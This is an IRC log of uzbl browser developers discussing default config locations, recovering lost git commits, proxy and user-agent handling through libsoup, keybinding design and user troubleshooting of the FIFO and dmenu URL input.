12:42 < shortlord> could the standard sampleconfig in /usr/share be a fallback in case no .config/uzbl is found?
12:42 < shortlord> and shouldn't it be .uzbl/config? or .uzbl_config or something like that?
12:42 < anydot> No.
12:43 < anydot> But with that usr/share config, that's good point
12:43 < Dieterbe> ugh no
12:43 < anydot> Why?
12:44 < shortlord> well I am used that programms use their own folder for configuration
12:44 < Dieterbe> because the config is /usr/share is very specific.  I would rather make uzbl not very functional by default then making it do all kinds of stuff that the user did not expect
12:44 < anydot> shortlord: uzbl is.
12:44 < anydot> shortlord: read about XDG.
12:44 < Dieterbe> especially because it's very EASY to copy the config to your ~, or use --config
12:44 < anydot> There's now ~/.config directory, to which programs place configuration.
12:44 < Dieterbe> if a user is too lazy to do that, they shouldn't use uzbl at all.
12:45 < anydot> To stop creating many dotfiles in ~
12:45 < shortlord> ok, forget the point about .uzbl, .config is much better
12:45 < anydot> There's also ~/.cache
12:45 < anydot> ye
12:45 < shortlord> I am not completely awake^^
12:45 < anydot> :)
12:46 < shortlord> Dieterbe, it's not about being too lazy, it is about doing stuff that is more complex than it is necessary
12:46 < shortlord> but I can see your point
12:46 < Dieterbe> complex???
12:46 < shortlord> it would not be a major dealbreaker
12:47 < shortlord> Dieterbe, I am a friend of programms that run ootb and have sane defaults
12:47 < Dieterbe> if using --config is too complex for you, you will have a hard time with uzbl.
12:47 < Dieterbe> depends on how you define "sane"
12:47 < shortlord> I don't define it
12:47 < shortlord> I trust you to define it
12:48 < Dieterbe> i think not doing expected stuff is most sane
12:48 < Dieterbe> unexpected*
12:48 < shortlord> I am confident that you pick settings that are at least usable for most of the users
12:48 < shortlord> of course you are right
12:49 < shortlord> but isn't it expected that the uzbl can do the basic operations? If it can be stripped down further or extended further that's great
12:50 < shortlord> the standard settings don't need to be perfect for me or anyone else but there should IMHO be some standard settings that try to suit the needs of users that want a simple unixy browser that works good ootb
12:50 < Dieterbe> well, that's another story
12:50 < Dieterbe> i think many applications create a simple default config file on first launch, if the config file does not exist yet
12:51 < Dieterbe> but that's something completely different then using sample configurations from /usr/share
12:52 < shortlord> ok, that's true
12:52 < shortlord> the way to create a good default file on first startup is great
12:53 < Dieterbe> but on the other hand, i don't want to force the xdg spec on anyone
12:53 < Dieterbe> some people may even want to use uzbl without a config at all
12:54 < Dieterbe> eg if they only use it to render some pages without doing anything else
12:55 < shortlord> the queston is what should be supported ootb. I have heard about the idea of uzblctl, maybe that would be an option for a default config so that uzbl could stay slim and simple with no config at all
12:56 < Dieterbe> uzblctrl has nothing to do with config files
12:56 < dodobas> yello
12:56 < shortlord> I don't really mind how exactly you want to implement it, I just wanted to give a bit of feedback, because I am one of the Arch users who use Arch because it's simple not because it is customizable
12:56 < Dieterbe> imo what we do now is the best behavior out of the box.  don't mess in peoples home directory. let them decide what they want
12:57 < dodobas> i've just showcased uzble to my girlfriend, and frist thing she asked 'where's the location bar?' :)
12:57 < dodobas> and how can i google something
12:57 < shortlord> I really would like to use a simple browser, but I don't like to reinvent the wheel and create a config for the obvious actions of a everyday user
12:57 < Dieterbe> dodobas: press u (in command mode), there is her location bar :)
12:57 < dodobas> Dieterbe: i know
12:58 < dodobas> she wasnt satisfied :D
12:58 < dodobas> shortlord: but with that one can customize uzbl
12:58 < dodobas> that is the whole point
12:58 < dodobas> everyday user can still use basic config
12:59 < dodobas> with out even knowing that congif exists
12:59 < shortlord> dodobas, I agree that it is good to make a programm customizable
13:00 < shortlord> but configuration is annoying for many users, therefore I think it's wrong to enforce configuration of basic and obvious actions
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13:01 < Dieterbe> shortlord: things _need_ to be defined, we cannot ship a "user friendly" default config because so many things happen OUTSIDE of uzbl
13:01 < dodobas> like i said yesterday, i dont think that 'uzbl' is going to be used by 'non-technical' users
13:01 < shortlord> Dieterbe, can you give me an example?
13:02 < dodobas> FF or something is good enough for them
13:02 < Dieterbe> if you would take the "common denominator" for settings that would suit all people, uzbl wouldn't have any settings at all. which is exactly how it behaves now
13:02 < shortlord> dodobas, but there is a difference between 'non-technical' and 'configuration-junkies'
13:03 < dodobas> yes and ones that are not 'configuration-junkies' can use it with default config
13:04 < shortlord> ok then everything is fine, I just wanted to know whether uzbl will load a default config that is capable of doing normal tasks that enable the user to open websites and follow links
13:14 < Dieterbe> this discussion gave me the idea to write a little faq :P
13:29 < Dieterbe> http://www.uzbl.org/faq.php
13:32 < dodobas> hehe
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13:36 < github> uzbl: uzbl experimental SHA1-a07b17c
13:36 < github> faq
13:36 < github> http://bit.ly/7fZKn
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14:22 < yiyus> I just compiled uzbl and am trying it now. It looks nice
14:27 < Dieterbe> thanks
14:28 < yiyus> I'm just starting to read the code... I guess the gtk dependency would be difficult to remove?
14:31 < Dieterbe> yeah.  in fact i tried to get rid of gtk, but after a while realise webkit _needs_ it. well webkit needs "a" widget toolkit. it also supports qt
14:32 < Dieterbe> think javascript popups, html forms etc, that's why webkit needs gtk/qt/..
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14:35 < dusanx> Dieterbe: vim navigation keys patch is not in yet?
14:36 < Dieterbe> you mean jouz stuff? I'm doing that now
14:36 < dusanx> Dieterbe: ok, catching up :)
14:36 < Dieterbe> first jouz stuff, then anydots stuff :P
14:36 < Dieterbe> and i hope rob pushes his stuff soon
14:36 < dusanx> full time job I tell you :P
14:37 < anydot> Dieterbe: merge from me, at the head I have now slightly updated  (and squashed) jouz change.
14:37 < dusanx> yes, his code is important, if too late he or we need to do a lot to get it in
14:37 < dusanx> merged 1 minute ago
14:37 < dusanx> I can merge again if you pushed after that
14:39 < Dieterbe> this is getting slightly crazy :P http://github.com/Dieterbe/uzbl/network
14:40 < dusanx> hmm, I like git more and more :)
14:41 < Dieterbe> imagine you would stil be using zipfiles :P
14:42 < dusanx> Dieterbe: yes, I can see slight difference :P
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14:43 < Dieterbe> fuck i did git reset --hard HEAD to get rid of the conflicted merge from jouz, and now my latest commit seems gone
14:44 < anydot> Try to just merge back from me.
14:45 < dusanx> Dieterbe: I do 7z a ../uzblbackup_version before _any_ git operation you know
14:45 < dusanx> not bad practice I see
14:45 < anydot> Nothing is lost, these object are dangling anyway.
14:46 < anydot> Dieterbe: Well, and because it's --hard :)
14:46 < anydot> If you did merge with jouz, it conflict even with first commit from these three.
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14:47 < anydot> But it's not commited, so HEAD is commit you had as last before you start to merge.
14:47 < Dieterbe> that's the thing.  i don't think it is
14:47 < anydot> git reset --hard HEAD then "rewind" back before that commit.
14:47 < Dieterbe> because i had committed a faq page, and now it's gone
14:47 < anydot> Yep.
14:48 < anydot> Cause it was last commit before you start to merge jouz :)
14:48 < dusanx> Dieterbe: I have merged from your experimental 2 minutes ago, I can push unchanged if you want to pull, not sure if that can help since you had changes
14:48 < anydot> HEAD is last commit, not what are you editing right now.
14:48 < Dieterbe> anydot: yes. i _committed_ the faq page
14:48 < anydot> yes.
14:48 < Dieterbe> HEAD had the faq page
14:49 < anydot> Of course.
14:49 < Dieterbe> so why is it gone after git-reset --hard HEAD ?
14:49 < anydot> but reset don't rewind to clean state AFTER , but BEFORE.
14:49 < anydot> So you efectively remove HEAD :)
14:49 < Dieterbe> oh. shit
14:49 < anydot> Imho you misunderstood what reset --hard does :)
14:49 < anydot> Dieterbe: What you want was git checkout.
14:50 < anydot> imho.
14:50 < Dieterbe> if you do git checkout during a conflicted merge, it doesn't alow you
14:50 < Dieterbe> you have to resolve the conflict first
14:50 < anydot> Dieterbe: You can rebase back your faq change from origin.
14:50 < anydot> (which is as I assume your github's repo).
14:50 < Dieterbe> yeah
14:50 < Dieterbe> please assist me :)
14:50 < anydot> If yous till don't do any change after that reset
14:50 < anydot> run this:
14:51 < anydot> git rebase origin/experimental
14:51 < anydot> And your faq will be back. :)
14:51 < Dieterbe> oh btw dusanx say hello to our new developer :0
14:51 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git rebase origin/experimental
14:51 < Dieterbe> It looks like git-am is in progress. Cannot rebase.
14:51 < Dieterbe> o_O
14:51 < anydot> => you will be back right before you started to merge jouz
14:51 < anydot> heh :)
14:51 < anydot> Just cancel it.
14:51 < Dieterbe> i'm not doing any git-am
14:52 < anydot> You was, some time before :)
14:52 < anydot> git am --abort
14:52 < anydot> then rerun that rebase
14:52 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git rebase origin/experimental
14:52 < Dieterbe> Current branch experimental is up to date.
14:52 < anydot> and run git show
14:52 < Dieterbe> the faq file is not there.. also the latest entry in git log is the same
14:53 < anydot> hmm
14:53 < anydot> run git fetch origin
14:53 < anydot> then rebase :)
14:53 < anydot> Maybe it will help.
14:53 < Dieterbe> BADASS
14:53 < anydot> Nothing?
14:54 < Dieterbe> no. all perfect
14:54 < Dieterbe> this is badass stuff :P
14:54 < Dieterbe> and you, anydot are a mean git machine
14:55 < anydot> Just run in to some problems with git before, and problems are time when you learn something you will never forget. :)
14:55 < Dieterbe> diff origin/experimental == empty . nice
14:59 < sm217> Lol, docs on webkit site are incomplete. Or rather not fresh :\
15:00 < anydot> Well, that's apple :)
15:00 < anydot> The have nice documentation of their applications, but poor API documentation on code they release.
15:01 < shortlord> Dieterbe, I have just read the FAQ, so you still prefer the --config switch as the only method to load a config instead of searching for a configuration file in .config/uzbl first?
15:01 < sm217> anydot: It's on webkitgtk site :<
15:01 < Dieterbe> anydot: any idea why there's no arrow going from jouz stuff to you? http://github.com/Dieterbe/uzbl/network
15:01 < sm217> I think I'll have to generate fresh docs from sources.
15:01 < anydot> Dieterbe: Cause i squashed hist patches, not merges.
15:02 < Dieterbe> shortlord: what? i never said that. we DO search in .config/uzbl . I didn't mention it in the faq, i'll fix that
15:03 < shortlord> ok, thx :)
15:05 < shortlord> it is not yet possible to load a new page using something like vimperator's :o url, right?
15:05 < anydot> Only externaly, via u for example.
15:05 < dusanx> shortlord: press U or u and type url
15:07 < anydot> Dieterbe: Another commit, there's no reason to have 4 separate unconfigurable function.
15:08 < shortlord> ah, ok, I thought I could only visit sites from the history with that
15:08 < anydot> Dieterbe: Now there's one for horizontal and other for vertical scrolling, with parameters.
15:11 < Dieterbe> i merged in anydot + jouz stuff.  first tests look okay. food now. more testing later
15:12 < anydot> Dieterbe: I always test before commit :)
15:12 < anydot> at least, there's unwritten rule, don't commit what doesn't compile. :)
15:22 < sm217> heh, right. even if it doesn't work, it will compile and let other thing work :)
15:22 < sm217> *things
15:24 < anydot> Yep, sort of.
15:25 < anydot> sm217: Also, doint bisect search for first commit containing error is $#Y&% if there are any uncompilable commits on the way. :)
15:26 < anydot> sm217: To say it another way, if it doesn't compile, you know you are commiting change which contains bug. :)
15:27 < anydot> "Microsoft has a new tactic in the browser wars. They're having the 'critical' IE8 update make IE the default browser without asking. Yes, you can change it back, but it doesn't ask you if you want IE8 or if you want it as the default browser, it makes the decisions for you."
15:28 < sm217> Heh.
15:37 < sm217> Owhee!
15:37 < sm217> Things seem much simplier about proxy and such.
15:42 < Dieterbe> anydot: don't you think it's a bit weird to disable insert mode you just set the var directly to false, to enable it you call a function which sets the var to true
15:42 < Dieterbe> what's the purpose of doing it like this?
15:43 < anydot> where I set insert_mode to false?
15:45 < Dieterbe> keypress_cb
15:45 < Dieterbe>     if (insert_mode && (event->keyval == GDK_Escape)) {
15:45 < Dieterbe>         insert_mode = always_insert_mode;
15:45 < Dieterbe>         update_title();
15:45 < Dieterbe>         return TRUE;   
15:45 < Dieterbe>     }
15:46 < Dieterbe> ps don't take the "you" to literally
15:46 < anydot> I don't
15:46 < Dieterbe> :)
15:46 < anydot> I just don't see your problem with it.
15:46 < Dieterbe> i find it odd
15:46 < anydot> Why?
15:47 < Dieterbe> well, if you would follow your logic, why not bind Esc to a function called disable_insert_mode ?
15:47 < Dieterbe> in fact, shouldn't we do that?
15:47 < anydot> This code is no more for toggling insert_mode, as it was before, just for turn of insert mode.
15:47 < Dieterbe> then the key is configurable :)
15:47 < anydot> Dieterbe: There are other function escape is doing.
15:47 < Dieterbe> what do you mean?
15:48 < anydot> Dieterbe: Escape also cancel multichar command which is currently written.
15:48 < anydot> Dieterbe: Also, makeing it only normal bind function, you must escape from insert mode via modkey+escape, and also have modkey set, which is really no-no from user POV.
15:51 < Dieterbe> anydot: if we make the espace key configurable and set escape_key to say.. capslock.  you would use capslock to escape from multichar and to escape from insert mode. no need for modkey
15:55 < anydot> No you don't, it just still can't be ordinary key function, so the code in key_press_cb will be same. :)
15:56 < Dieterbe> i don't get it.  what makes esc key more special then any configurable key?
15:56 < anydot> You must handle it in same way even if you are in insert_mode currently.
15:57 < anydot> If we choose, that you will escape via modkey+configurable key, I'm fine with it, and it allow us to change escape handling into ordinary bind function.
15:57 < anydot> Dieterbe: Choosing for example capslock as both mask and key is not such easy.
15:58 < anydot> As lock/mod keys are often handled somewhat differently, also, there's limitation of event->string (which is deprecated anyway).
15:59 < anydot> Dieterbe: So, in longterm we can change it, for now there are imho vital changes waiting. "0
15:59 < anydot> * :) (bad keyboard layout)
16:02 < Dieterbe> right. ok
16:02 < Dieterbe> i think i get it
16:13 < sm217> Lol, I made uzbl do request logging.
16:15 < Dieterbe> #define request?
16:15 < sm217> http://pastebin.ca/1409436
16:18 < Dieterbe> oh:)
16:18 < Dieterbe> that reminds me, we should set our user agent
16:19 < sm217> I'm close to these things, though a bit >.< now.
16:19 < Dieterbe> > User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru-ru) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) uzbl
16:19 < Dieterbe> o_O
16:19 < sm217> Haha
16:19 < Dieterbe> who put the uzbl there :P
16:19 < Dieterbe> and where is the mozilla coming from
16:19 < sm217> no idea, maybe it's executable ame
16:19 < dusanx> mozilla?!
16:19 < sm217> *name
16:20 < dusanx> lol, webkit actually does nothing, just calls xulrunner? O_o
16:20 < sm217> Libsoup has some "properties", but I see nothing about how to change them on a running session
16:20 < Dieterbe> :P
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16:20 < github> uzbl: Dieter Plaetinck experimental SHA1-c1e9fac
16:20 < github> todo updates
16:20 < github> http://bit.ly/b3uBt
16:20 < sm217> :D
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16:20 < Dieterbe> fuck i hate this github bot
16:21 < anydot> Mozilla must be there.
16:21 < dusanx> Dieterbe: not bad, you know what you just did but we call can see, I kind of like it
16:21 < anydot> It just way, how to say "I'm mozilla class browser".
16:21 < sm217> Dieterbe: Mabe remove already implemented stuff from TODO?
16:21 < anydot> Even IE use There mozilla as keyword. :)
16:21 < Dieterbe> sm217: that's what i just did
16:22 < sm217> Oh, cool.
16:22 < Dieterbe> dusanx: yes but the github bot takes 5 lines to post one simple message
16:22 < dusanx> Dieterbe: yes, he is bit chatty but I like it :)
16:29 < sm217> :S
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16:37 < github> uzbl: Dieter Plaetinck experimental SHA1-3f94a56
16:37 < github> make uninstall target
16:37 < github> http://bit.ly/9T7vx
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17:03 < sm217> I hate this. It seems that libsoup is unable to modify properties of existing session, and webkitgtk has no functionality to use custom SoupSession.
17:04 < anydot> WebKitGTK seems it is heavily developed now. :)
17:05 < anydot> Well, I wants to use load-error signal, but it's not yet in my lib, as it was commited on 25 of April :)
17:05 < anydot> etc.
17:06 < Dieterbe> lol
17:06 < Dieterbe> bleeding edge :P
17:07 < anydot> yep.
17:07 < dusanx> sm217: midori switched from curl to libsoup and crashes since then :(
17:07 < sm217> dusanx: crashes on what?
17:07 < dusanx> something with cookies and sessions, random crash
17:08 < dusanx> kills all tabs and exits, that's all I know
17:08 < sm217> Well, libsoup is default anyways.
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17:09 < github> uzbl: Dieter Plaetinck experimental SHA1-c8ee7fb
17:09 < github> todo updates
17:09 < github> http://bit.ly/RTBIF
17:09 < github> uzbl: Dieter Plaetinck experimental SHA1-921b598
17:09 < github> due to socket addition, url is now $6
17:09 < github> http://bit.ly/zwy8H
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17:11 < Dieterbe> anydot: we have a little problem
17:11 < Dieterbe> the insert_bookmark.sh script doesn't get the url anymore, where it did get this in the past
17:12 < Dieterbe> maybe i'll just add the current uri to the list of variables that each scirpt gets
17:12 < anydot> Sorry, I can't look at it today, I'm going now to party :)
17:12 < Dieterbe> np
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17:16 < barrucadu> hi
17:16 < dusanx> barrucadu: Hi :)
17:16 < barrucadu> Dieterbe: Just got your email, I'll have a look now :)
17:17 < sm217> hi barrucadu
17:21 < barrucadu> Dieterbe: I like it :)
17:24 < barrucadu> I've also added pagintation for the news items - it'll now (well, it should - I can't test it until we have more news) show "Next/Previous" links on the index page when there are more than 20 news items
17:28 < sm217> can I replace a pointer with another pointer?
17:29 < dusanx> sm217: you can assign pointer to pointer if that's what you meant
17:29 < sm217> I can get a pointer to session that webkit uses, maybe I can replace it...
17:30 < dusanx> sm217: does not sound like possible, maybe is
17:31 < Dieterbe> barrucadu: i don't think pagination is really necessary, but whatever :P
17:31 < sm217> I guess no, already trie.
17:31 < sm217> *tried
17:32 < Dieterbe> barrucadu: btw i registered on the bugtracker but i cannot make new ticktes
17:32 < Dieterbe> seems like all new users cannot make new ticktes
17:33 < sm217> What to do then :<
17:33 < barrucadu> Hmm, I thought I'd fixed that
17:34 < barrucadu> I've set the default new user group to "Reporter", which would suggest people can report…
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17:39 < barrucadu> Dieterbe: Do you know how to properly configure flyspray? I'm not sure what I've missed
17:39 < Dieterbe> not sure. make me admin and i can have a look around
17:39 < barrucadu> Done
17:39 < barrucadu> Hmm, sm217 is already in the reporters group - but you were in the basic group (and so was dusanx)
17:40 < barrucadu> sm217: When did you register?
17:40 < Dieterbe> barrucadu: btw any idea why ssh on dreamhost doesn't recognize my key? i added my pubkey to .ssh/authorized_keys but when i ssh to it it refuses my key and asks for password
17:40 < sm217> barrucadu: This morning @gmt +2
17:41 < barrucadu> Dieterbe: Not sure, I've added my pubkey and it works here
17:41 < barrucadu> I'll see if there is anything in the documentation
17:41 < Dieterbe> barrucadu: when i go to http://www.uzbl.org/bugs/index.php?do=admin&area=prefs it says default group:basic
17:41 < barrucadu> sm217: I guess what I changed a minute ago didn't miraculously fix it the second before you registered then :p
17:42 < barrucadu> So it does. I am confused.
17:42 < barrucadu> It sayd reporters somewhere else…
17:42 < barrucadu> *says
17:44 < Dieterbe> barrucadu: in "users and groups" you can see/edit all options per group. by i think the defaults are sane
17:44 < Dieterbe> but*
17:45 < sm217> Hmm, it seems danw from #gnome-hackers pointed me where to look.
17:49 < Dieterbe> barrucadu: i'm gonna make everyone who contributes a developer
17:49 < Dieterbe> on flyspray, i mean
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17:55  * sm217 DANCES
17:55 < Dieterbe> :D
17:55 < sm217> wait a second
17:58 < sm217> http://www.picamatic.com/show/2009/05/01/07/54/3480941_1280x800.png :D
18:00 < Dieterbe> congrats
18:00 < Dieterbe> looks fancy
18:00 < sm217> thanks :)
18:01 < dusanx> sm217: wow
18:01 < sm217> and pretty small
18:02 < sm217> not counting lines to get proxy addr from config, it's two lines :D
18:04 < sm217> I will also add user-agent and commit
18:05 < sm217> do we need http debug like that on screenshot?
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18:06 < linopolus> Hi
18:06 < Dieterbe> it could be useful to have it as a handler (like download and history handlers), or echoing it on stdout if you set a certain config variable
18:06 < linopolus> great thing!
18:06 < Dieterbe> sm217: so yeah i think we should do something with it, but not sure yet how
18:06 < linopolus> tabs and a popup url input field and this is my default browser!
18:07 < linopolus> s/is/would be
18:07 < dusanx> linopolus: oh :(
18:07 < Dieterbe> popup url input field -> press u
18:07 < linopolus> dusanx: ?
18:07 < linopolus> Dieterbe: thx
18:07 < linopolus> i didnt know
18:07 < linopolus> ..
18:07 < sm217> Dieterbe: Okay, I will make it config var. is 1 for "true" ok?
18:07 < linopolus> Dieterbe: don't works
18:07 < sm217> ah, I see already.
18:07 < dusanx> linopolus: tabs are still not certain thing
18:07 < linopolus> have the version from aur
18:08 < Dieterbe> sm217: yes
18:08 < linopolus> dusanx: sry, what means certain?
18:08 < linopolus> i'm german
18:08 < dusanx> linopolus: not sure that we want or will have them
18:08 < Dieterbe> linopolus: look in your config and check which key is bound to load_url_from* then
18:08 < Dieterbe> and hit that key
18:08 < dusanx> linopolus: I am Serb :)
18:09 < linopolus> Dieterbe: ok
18:09 < linopolus> where is the config? in my $HOME isn't a directory or file .uzbl or something
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18:12 < Dieterbe> linopolus: read the readme or faq
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18:12 < linopolus> mh in the example config in /usr/share/uzbl/ there isn't an option  load_url_from
18:13 < linopolus> i have uzbl-git from the aur. is this actual?
18:14 < Dieterbe> it's not an option. it's a value
18:14 < Dieterbe> if you still can't find it. rebuild the package
18:15 < linopolus> ok
18:16 < dusanx> Dieterbe: finished parameters forwarding, on my github
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18:18 < Dieterbe> dusanx: cool
18:21 < linopolus> is the open url made with dmenu?
18:21 < dusanx> linopolus: yes
18:21 < linopolus> oh.. my dmenu isn't right. it doesn't appears...
18:24 < linopolus> mh i reinstalled it but it doesn't appears as well
18:24 < linopolus> :(
18:24 < Dieterbe> do you even have dmenu?
18:24 < linopolus> yes of course
18:24 < linopolus> "i reinstalled it"...
18:25 < Dieterbe> it could have meant uzbl too...
18:25 < Dieterbe> smart ass
18:25 < linopolus> ok
18:25 < linopolus> thats right
18:25 < Dieterbe> do you launch uzbl on command line?
18:26 < linopolus> yes
18:26 < linopolus> oh
18:27 < linopolus> i reinstalled uzbl and launched it, nothing was changed. now i launched it again, and it works... scary
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18:28 < linopolus> hm but the website don't loads
18:29 < Dieterbe> then you did not enter a correct address
18:29 < linopolus> i pressed u and typed http://google.de but nothing changed
18:29 < Dieterbe> lol this is fancy http://github.com/anydot/uzbl/commit/97348882c8eeac6919ada99bdc5b55b86f99ee1f
18:29 < Dieterbe> i think we're the first browser to provide that kind of control over scrolling :P
18:29 < Dieterbe> linopolus: press enter
18:30 < linopolus> Dieterbe: i pressed enter
18:30 < linopolus> in the command line "Connected to client" appeared, but nothing..
18:33 < Dieterbe> no idea man
18:33 < linopolus> mh
18:37 < linopolus> if i start it with the same uri it works:(
18:37 < Dieterbe> yeah the socket doesn't seem to be always responsive
18:37 < Dieterbe> i also notice it
18:38 < dusanx> Dieterbe: that fifo issue with eof?
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18:38 < github> uzbl: Dieter Plaetinck experimental SHA1-8e52457
18:38 < github> no more need for /bin/shellname
18:38 < github> http://bit.ly/19M2DK
18:38 < github> uzbl: Dieter Plaetinck experimental SHA1-473fc60
18:38 < github> todo updates
18:38 < github> http://bit.ly/12FfMV
18:38 < github> uzbl: Dieter Plaetinck experimental SHA1-563ad7c
18:39 < github> fix for broken bookmark script. we cannot add arbitrary arguments to keybound commands anymore, so we must add them by default to all run_command things
18:39 < github> http://bit.ly/DcgE6
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18:39 < Dieterbe> that's also a badass one dusanx , but on top of that, the socket also doesn't always work
18:39 < linopolus> wtf?
18:39 < linopolus> what did github do?
18:39 < dusanx> ok, can you pull from me so I can pull from you? or I have latest socket code?
18:39 < dusanx> I can look at socket thingy
18:40 < dusanx> just to make some coffee, back in 10 min
18:40 < linopolus> oh:(
18:40 < linopolus> this time by selecting http://www.google.de in dmenu it segfaulted
18:42 < Dieterbe> yeah well.
18:43 < Dieterbe> that's just the state uzbl is in at this point
18:49 < Dieterbe> ugh. dusanx i have a merge conflict when pulling from you. stay tuned
18:50 < dusanx> it's small change over your todays code, should not be too hard
18:51 < linopolus> ah. i get it. if i start uzbl with --uri something, u works. if i start without --uri, it don't works
18:52 < Dieterbe> weird dusanx .  git tells me the only difference between you and me is this: "static char executable_path[500];"
18:52 < Dieterbe> that doesn't look correct to me
18:52 < dusanx> no
18:53 < dusanx> there is also strcpy in main and changed new_window func
18:53 < dusanx> but that's all
18:53 < Dieterbe> aha i see now http://github.com/dusanx/uzbl/commit/73130c8b21549668c7af582cbed8d1af4a67ee4e
18:53 < Dieterbe> i will investigate
18:53 < sm217> Dieterbe: it marks conflicts in file
18:53 < dusanx> just wanted to look and show you :)
18:54 < dusanx> yup, that's the only change
18:54 < Dieterbe> dusanx: never mind it will be ok
18:54 < Dieterbe> sm217: when you do what?
18:54 < dusanx> thanks, let me know when you push so I can pull latest
18:55 < Dieterbe> dusanx: you tested it right?
18:55 < sm217> Dieterbe: when you merge things by pulling iirc
18:55 < dusanx> yes
18:55 < Dieterbe> ok seems to work
18:55 < dusanx> but you should test it too
18:55 < Dieterbe> sm217: yes, so?
18:55 < dusanx> weirdest trick, I am itterating settings array :)
18:56 < sm217> Dieterbe: just in case you didn't know :)
18:56 < dusanx> I will have to go really soon, it's thunderstorm here and I don't leave wireless on, will catch up your code later
18:56 < dusanx> Dieterbe: so both ways to communicate don't work, right?
18:57 < Dieterbe> dusanx: is it normal that you do not copy all args?
18:57 < Dieterbe> i did this:
18:57 < Dieterbe> ./uzbl --uri http://www.uzbl.org --bar --config examples/configs/sampleconfig-dev --dusan --teststuf foo
18:57 < dusanx> Dieterbe: we store them all properly in char[] strings
18:57 < Dieterbe> new link: ./uzbl --uri 'http://ihasahotdog.com/' --config '/home/dieter/.config/uzbl/config'
18:57 < dusanx> nope but you can define new one in static GOptionEntry entries[] and I will forward it right away ;)
18:58 < dusanx> --bar is not arg defined in entries
18:58 < Dieterbe> ok, that was just for playing
18:58 < Dieterbe> but the config changes
18:58 < dusanx> but this should work when rob adds his args right away
18:58 < Dieterbe> i tested it without the --bar stuff too
18:58 < Dieterbe> and the --config changes
18:58 < dusanx> not here
18:58 < dusanx> how??
18:59 < dusanx> if you called it with wrong config
18:59 < dusanx> uzbl calculates right one
18:59 < dusanx> is config you specified there?
18:59 < Dieterbe> no you are right
18:59 < dusanx> I mean does it exist
18:59 < Dieterbe> if i take out all the "fake" options it works :P
18:59 < dusanx> :)
19:00 < Dieterbe> ok i push
19:00 < dusanx> you can also add any new option in entries and it will work
19:00 < dusanx> ok, I will pull and shutdown for hour or so until this storm passes
19:01 < Dieterbe> pushed
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19:02 < github> uzbl: dusanx experimental SHA1-73130c8
19:02 < github> Open in new window, all parameters forwarded
19:02 < github> http://bit.ly/7jYzy
19:02 < github> uzbl: Dieter Plaetinck experimental SHA1-69c69e9
19:02 < Dieterbe> see you after the storm then :)
19:02 < github> merged in dusans stuff
19:02 < github> http://bit.ly/Az2RC
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19:16 < linopolus> if i press f for opening a link in the command line "command "follow_link_here" not understood. ignoring." appears. Why?
19:16 < linopolus> not yet implemented?
19:17 < Dieterbe> jep
19:17 < linopolus> ok
19:18 < linopolus> uzbl is written in c, isn't it?
19:19 < Dieterbe> jep
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19:24 < sm217> Dieterbe: any ideas how to call function in which proxy/useragent/http debug are set? for now it's soup_setup, which is funny :)
19:25 < Dieterbe> github is down :((
19:25 < sm217> oh
19:25 < Dieterbe> imho those are all separate things
19:25 < Dieterbe> in fact, i would treat all them just like all other configuration settingn
19:26 < sm217> I think it'd be better to make them separate
19:26 < sm217> we may ad more networking opts later
19:26 < sm217> actually, I'll add them now.
19:27 < Dieterbe> sm217: really , for now add the options just like the other config options
19:27 < Dieterbe> rob has been working on separating and organizing things already. so when i pullin code from you it's easiest for me if your code is as simple as possibel
19:27 < Dieterbe> because i WILL get conflicts anyway
19:27 < sm217> uh, okay
19:28 < Dieterbe> if only rob would come online :P
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19:28 < sm217> I'll put them at the end of settings_init
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19:43 < dusanx> I am back :)
19:45 < Dieterbe> now if only we would get github back
19:45 < dusanx> back?
19:45 < sm217> it's dead
19:45 < dusanx> no
19:45 < dusanx> just pulled  dieter/experimental
19:45 < sm217> I've finished and commited
19:45 < Dieterbe> it's just back up now :)
19:45 < sm217> oh, slowly works
19:45 < Dieterbe> wohoo
19:46 < dusanx> Dieterbe: I am merging from you, right?
19:46 < Dieterbe> yep ok
19:47 < linopolus> sometimes the size of the window is changing without me
19:47 < dusanx>  merged without any problems
19:47 < sm217> okay, pushed
19:48 < sm217> everyone: please comment on my code if you have something to say. that lets me learn :)
19:49 < dusanx> sm217: gladly but I pull from Dieterbe and I don't know what your code is among other code :(
19:49 < sm217> dusanx: no it's not
19:49 < sm217> now it's only in my branch
19:50 < sm217> quite simple, but for such C noob as me, any feedback is good.
19:50 < dusanx> sm217: ok, you need to work faster and harder!
19:50 < dusanx> :P
19:50 < sm217> :)
19:51 < sm217> I will as long s I can. happy to contribute :P
19:51 < sm217> brb.
19:55 < dusanx> Dieterbe: do you get segfaults when using fifo or app just fails but no errors?
19:58 < Dieterbe> the app still works , you can do keybinds etc. it's just that it doesn't interpret/read commands you send to it
19:58 < dusanx> Dieterbe: ok, I am reading source, thanks
20:03 < sm217> strange thing. something echoes newlines to console while uzbl loads a page
20:04 < linopolus> Is there a good doc for uzblctrl? i don't found it
20:04 < Dieterbe> uzblctrl --help
20:05 < dusanx> Dieterbe: how I write command to Control fifo opened in /tmp/uzbl_fifo_31457283? using echo?
20:05 < linopolus>  -c, --command           The uzbl command to execute <-- what commands are there?
20:06 < Dieterbe> dusanx: echo "uri archlinux.org" > /tmp/uzbl_fifo_31457283?, echo back > /tmp/uzbl_fifo_31457283?
20:06 < Dieterbe> linopolus: "uri archlinux.org" 
20:06 < linopolus> thx
20:06 < linopolus> its a beginning:)
20:07 < dusanx> Dieterbe: I did exactly that and hothing happens, is this how it works at your pc?
20:07 < dusanx> Dieterbe: my bad, ignore
20:07 < Dieterbe> :)
20:07 < linopolus> if i knew anything about c, i would help you:(
20:08 < dusanx> fifo works for me? :(
20:08 < sm217> pulled from Dieterbe...
20:09 < dusanx> Dieterbe: fifo really works here, I don't know what to test?
20:10 < Dieterbe> dusanx: so you can change url more then once through fifo?
20:10 < dusanx> echo 'uri www.google.com' > /tmp/uzbl_fifo_31457283
20:10 < dusanx> echo back > /tmp/uzbl_fifo_31457283
20:10 < dusanx> one than second 20+ times
20:11 < dusanx> Dieterbe: confirmed...
20:11 < dusanx> even consecutive urls
20:11 < Dieterbe> weird
20:11 < Dieterbe> i'll try again
20:12 < sm217> hmm, works for me too
20:12 < Dieterbe> welcome bot!!
20:12 < dusanx> so... I fixed github when I logged in, now I fixed source by looking at it?
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20:12 < github> uzbl: Premysl 'Anydot' Hruby experimental SHA1-9734888
20:12 < github> Use only 2 scrolling function
